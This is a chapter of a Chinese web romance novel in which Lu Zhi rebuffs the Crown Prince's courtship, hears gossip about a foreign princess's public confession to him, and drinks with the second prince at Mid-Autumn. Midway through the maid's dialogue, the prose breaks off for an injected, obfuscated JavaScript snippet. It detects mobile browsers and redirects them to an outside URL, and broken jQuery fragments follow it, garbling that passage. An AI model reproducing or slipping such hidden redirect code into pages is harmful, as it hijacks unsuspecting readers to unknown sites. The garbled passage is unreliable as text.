12. 公主

作品:《栖枝

    陆枝绞尽脑汁地去猜谢瓒到底在盘算着什么?难不成他想要她在怙州的产业?


    思来想去,她觉得这个猜测最为合理,而后也在心里给了答案:休想。


    那是她倾注了时间和心力打造出来的,凭什么他想要她就得给。


    谢瓒体贴地给陆枝夹菜,由于先入为主的猜想,陆枝对谢瓒的印象差到了极点,反应很是冷淡。


    陆文德眼睛瞪得快凸出来了,却又不敢发作。


    谢瓒:“这菜做的可是不合陆小姐口味?”


    陆枝扫了一眼面前的两人,淡淡道:“是挺倒胃口的。”


    饭后,谢瓒邀请陆枝去散步,陆枝拒绝:“我不喜动,殿下请回吧。”


    谢瓒似乎很有耐心:“哦?陆小姐不喜动,怎还愿意和二弟奔波去暮市?”


    陆枝:“……殿下消息真是灵通。”还派人盯着她了?


    谢瓒不理会陆枝言语中的嘲讽:“陆小姐愿意同二弟出行却拒绝了我,可是在与我二弟谋些什么怕我知晓?”


    陆枝眼角抽搐,好能说的人,居然乱泼脏水。


    她这会儿要是不去,就坐实了她和谢玄在谋些什么见不得人之事的污名。


    陆枝皮笑肉不笑:“我与二皇子去暮市只是过了个生辰罢了,殿下若是想逛,陆枝陪同便是。”


    谢瓒:“说起生辰,我送陆小姐的生辰礼物可收到了?”


    陆枝:“收到了,多谢殿下。”被若娘收进橱柜里了,她没打开过,不知道是个什么。


    基于谢瓒害她生病的坏印象,一听到是谢瓒送来的,她连打开的欲望都没有了。


    谢瓒:“既收到了,为何不戴?那簪子应十分衬你。”


    陆枝随口敷衍道:“殿下送的,自是要好好珍藏。”


    谢瓒忽得停下来走到陆枝面前,陆枝心不在焉险些撞上他的胸膛,她赶紧往后退了两步:“冲撞殿下了,望殿下恕罪。”


    也许是感受到了陆枝的漫不经心,谢瓒隐隐约约有些不快:“可陆小姐,我送你的并不是簪子。”


    “……”陆枝终于知道了何为“脚趾抠出了三室一厅”,她感觉抠个城堡也不在话下。


    看陆枝的表情终于变得生动,谢瓒得逞地笑笑:“我送的便是簪子,不过陆小姐看也不看便收起来,真是叫人伤心。”


    陆枝生硬地答道:“……我回去便看看。”


    身旁经过一辆那车,谢瓒抬手替她挡了一挡,继续前行:“我可是做了什么让陆小姐不快之事?”


    陆枝口是心非道:“不曾。”


    “哦?”谢瓒挑眉:“那便是我的错觉了?陆小姐对我总是疏离。”


    陆枝不敢再随便答谢瓒的话,索性闭嘴听他说。


    谢瓒:“你看,就比如此刻,连答也不愿答我。”


    陆枝:“……”好好好,答和不答都是错。


    “殿下多虑了。”


    谢瓒不知怎地,突然兀自解释道:“去年冬时邀你看雪是我考虑欠妥,听闻你次日生了病,我被事缠身,便让流光给相府送了药。”


    陆枝:“?”怎么好好的突然说这事了?


    谢瓒继续说道:“当日之事确是我考虑不周害陆小姐生病,我在此给陆小姐道歉。”


    说完,他真的行礼道歉。


    陆枝敛了敛神色,郑重道:“殿下今日道歉令陆枝动容。殿下请起,此事已过去了。”


    这事虽然不是什么大事,但也让她对谢瓒的印象不好,如今知晓人家做了补救措施还道了歉,那这事就算彻底揭过去了,她对谢瓒的看法里去掉了“害她生病”这一项,也算是有了点改观。


    谢瓒:“我今日来相府也是为了陆小姐而来。”


    陆枝:“为了我?”


    谢瓒:“当初陆小姐名动京城,我便想见上一见,只那一见,我便对陆小姐倾心。”


    陆枝:“?!”嗯?还真是因为看上她了?


    她张了张嘴不知道该说什么:“殿下,这……”这么突然的吗?


    脑子突然宕机了,她需要点时间恢复。


    谢瓒:“陆小姐不必为难,今日我只是告知陆小姐我的心意,并未要求陆小姐有所回应。”


    陆枝松了口气。


    谢瓒看她也没心思继续走了,便道:“今日已走得差不多,我送陆小姐回府吧。”


    陆枝在房里思来想去,还是很难相信谢瓒的说辞。


    一见钟情,好歹有个惊艳的瞬间吧,她和谢瓒之间并没有啊。


    冻得吸溜鼻子能算吗?


    而且,他和陆文德做交易是为了追求她吗?是要靠父母之命媒妁之言来达成吗?


    如果换做之前,她初回相府需要隐忍,还真可能成功,可现在她已经和陆文德撕破脸皮了。


    就算陆文德的毒已解,他应该也不会主动来招惹她吧,就不怕再被下毒?


    拔毒的过程可是不好受的呀。


    或许谢瓒的心意是纯粹的,只是用错了方法,但对结果的影响都不大。


    她不喜欢谢瓒。


    看来以后得离谢瓒远一点,别做什么事让对方误会有机会什么的。


    陆枝:“若娘,太子送来的东西你放哪了,拿来给我。”


    若娘:“是,小姐。”


    陆枝打开一看,还真是一支做工精致的簪子,她犯难地看着这支簪子,良久,“啪”地合上盒子。


    日后找个机会说清楚,把东西退回去吧。


    临近中秋,已有一批使者先来朝贡,其中便有凰国,一方小国,靠依附大栾而得庇佑。


    近来京城有关朝贡的话题热度高涨,其中讨论度最高的便是凰国来的公主,说是这位公主在皇上举办的宴席上当众对太子表白。


    若娘将从外面听来的跟陆枝说得绘声绘色:“小姐,你说啊,这他国的公主啊就是大胆,竟当着天子和众使臣的面表白咱们的太子殿下,勇气可嘉啊。”


    陆枝摸着下巴赞同道:“的确勇敢。”


    既是公主,和太子的身份更为相配,而是也是小国,即使嫁入大栾,也不会掀起什么太大的风浪,若是皇上满意这位公主,后续就该赐婚了。


    那她也就不用和谢瓒再有什么牵扯啦。


    陆枝心中畅快,拿起瓜子磕起来:“然后呢?皇上可赐婚了?”


    若娘摇头:“那倒没有。听说太子殿下当众拒绝了。”


    陆枝提出疑问:“为何?是公主不貌美?”


    若娘:“应不是,听闻公主进城那日,不少人见着了,容貌倾城昳丽,是个大美人。”


    陆枝低声嘀咕:“那是为何?一国公主,定然不会是无才之辈,有才有颜的,为何要拒绝啊?”


    若娘听见了陆枝的嘀咕,答道:“太子殿下拒绝之言是有了心仪的女子。”


    陆枝一整颗瓜子卡在了喉咙里,顿时眼睛瞪得老大,咳嗽起来。


    若娘赶紧给她倒水拍背:“小姐,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13267318|139894||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小姐,怎么了这是,好好地怎咳起来了,来,快喝水。”


    陆枝一口气把水喝光,赶忙问道:“太子可还说了别的什么?”


    若娘不解:“小姐,太子殿下还应说什么?”


    陆枝抿了抿唇,试探着问道:“比如,他有没有说心仪于谁?”


    若娘:“这倒不曾听说过。”


    陆枝拍着胸脯松了口气,还好还好,谢瓒这要是当众说出来,她可要遭大麻烦了。


    她继续问后续:“再后来呢?公主和皇上都是什么反应?”


    若娘清了清嗓,扮了个样子说道:“无妨,初次见面,太子殿下不了解我,拒绝实属正常,我是不会放弃的。听闻公主是这么回答的。”


    “皇上见公主率真可爱,龙颜大悦,留公主在大栾国多待些时日,让太子殿下多多照应公主。”


    看来皇上这是有意撮合了。


    陆枝这一顿八卦听下来,情绪可谓是跟着跌宕起伏,忍不住怀疑道:“吃个瓜不是件快乐的事吗?怎么这么累?”


    中秋当夜,陆枝拿了一壶酒飞上屋顶赏月独酌,想试一回风雅。


    她半靠在屋脊上撑着脑袋,姿态闲散随意,一壶酒放在手边,时不时地拿起饮上一口。


    院中种着几株海棠,是陆枝娘亲种下的,她回来时已经颓败将死,她悉心养护了一年,终于将它们养回来了。


    如今已经过了海棠开花的季节,银月在褐色的树枝上洒上一层淡淡的柔光。


    中秋夜,明月当头,家家户户团圆,整个京城灯火通明,繁华如梦,壮哉美哉,隐隐约约地还能听见各家各户传来的谈笑声。


    陆枝闻着身边弥漫出来的桂花酒香,无奈苦笑,古人中秋望月思人,多是愁绪横生,如今她兴起试了一回,果真也不例外。


    她酒量不好,先醉后醒,这会儿正是醉的时候,头晕晕的,索性趴在了屋脊上。


    阖家欢乐的笑声仍不断从空中传入耳中,她喃喃道:“要是爹娘还在就好了。”


    熟悉的踏瓦声传来,陆枝动了动耳朵,声音由远及近,她缓缓睁开眼睛,谢玄出现在了眼前。


    陆枝眨了眨眼睛:“幻觉吧。他此刻应该宫中宴乐,怎会出现在这里。”


    谢玄拨开挡在她眼前的碎发,嗓音温沉道:“不是幻觉。”


    陆枝顿时清醒:“谢玄,你怎么会来!”


    谢玄晃了晃手中的酒:“想来找你同饮的,不曾想你竟一人独醉了。”


    陆枝笑笑:“想学学风雅,却发现这风雅实在苦涩。”


    谢玄扶起陆枝:“今日既已醉了,便不再喝了,早些休息。”


    陆枝拿过谢玄手中的酒:“你特地来找我,怎好叫你跑空,我虽酒量不行,但一杯还是能再继续的,二殿下,可否共饮啊?”


    谢玄坐到陆枝身边:“好,我陪你。”


    陆枝晕晕乎乎,抱着酒壶指着底下的海棠说道:“这是娘亲种的,如今算是养活了,只是过了开花的时节,若是此刻海棠花正开,想来今夜花月同酒应是别有一番风味,可惜了。”


    谢玄:“不可惜,万物有时,但人常在,待它来年开了,我再来同你喝。”


    陆枝心暖,打了个嗝:“那可好极,你可……别忘……了。”


    她说着说着头往一边栽去,谢玄迅速接住,把她靠在了自己肩上。


    谢玄看着底下几株海棠心道:“不止来年,我会一直陪在你身边,年年岁岁。”